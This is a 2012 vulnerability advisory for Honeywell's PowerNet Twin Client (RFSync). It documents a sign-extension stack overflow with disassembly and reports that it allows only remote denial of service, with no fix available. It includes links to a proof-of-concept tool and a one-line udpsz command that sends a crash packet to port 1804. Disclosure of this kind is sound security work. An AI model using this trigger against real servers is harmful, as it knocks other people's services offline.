ed0e1e4d44
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98 lines
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3 KiB
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Luigi Auriemma
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Application: PowerNet Twin Client
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http://www.honeywellaidc.com/en-US/Pages/Product.aspx?category=Software&cat=HSM&pid=PowerNet%20Twin%20Client
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Versions: <= 8.9 (RFSync 1.0.0.1)
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Platforms: Windows
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Bug: unexploitable stack overflow
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Exploitation: remote
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Date: 29 Jun 2012
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bug
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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From vendor's website:
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"PowerNet Twin Client v8.9 PowerNet Twin Client is a serverless,
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terminal based software used in 2.4 GHz networks."
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#######################################################################
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======
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2) Bug
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======
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The software uses the function 00403cb0 to read 100 bytes from the
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incoming connection and uses a signed 8bit value provided by the
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client to copy this data in a stack buffer:
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00403DCB |. 0FBE4424 29 MOVSX EAX,BYTE PTR SS:[ESP+29] ; 8bit size with 8->32bit
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00403DD0 |. 8B8C24 38020000 MOV ECX,DWORD PTR SS:[ESP+238] ; integer expansion bug
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00403DD7 |. 83C4 08 ADD ESP,8
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00403DDA |. 48 DEC EAX ; integer overflow
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00403DDB |. 85C9 TEST ECX,ECX
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00403DDD |. 74 02 JE SHORT RFSync.00403DE1
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00403DDF |. 8901 MOV DWORD PTR DS:[ECX],EAX
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00403DE1 |> 8B9424 2C020000 MOV EDX,DWORD PTR SS:[ESP+22C]
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00403DE8 |. 85D2 TEST EDX,EDX
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00403DEA |. 74 29 JE SHORT RFSync.00403E15
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00403DEC |. 8BC8 MOV ECX,EAX
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00403DEE |. 8BD9 MOV EBX,ECX
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00403DF0 |. C1E9 02 SHR ECX,2
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00403DF3 |. 8BFA MOV EDI,EDX
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00403DF5 |. 8D7424 23 LEA ESI,DWORD PTR SS:[ESP+23] ; stack overflow
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00403DF9 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
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So the byte 0x80 will become 0xffffff80 and so on.
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Unfortunately this vulnerabily cannot be exploited to execute code
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because there is no way to control the data located after the packet
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that has a fixed size of 100 bytes: the result is just a Denial of
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Service.
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#######################################################################
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===========
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3) The Code
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===========
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http://aluigi.org/testz/udpsz.zip
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/19456.zip
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udpsz -T -b 0x41 -C "11 00" SERVER 1804 100
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#######################################################################
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======
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4) Fix
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======
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No fix.
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####################################################################### |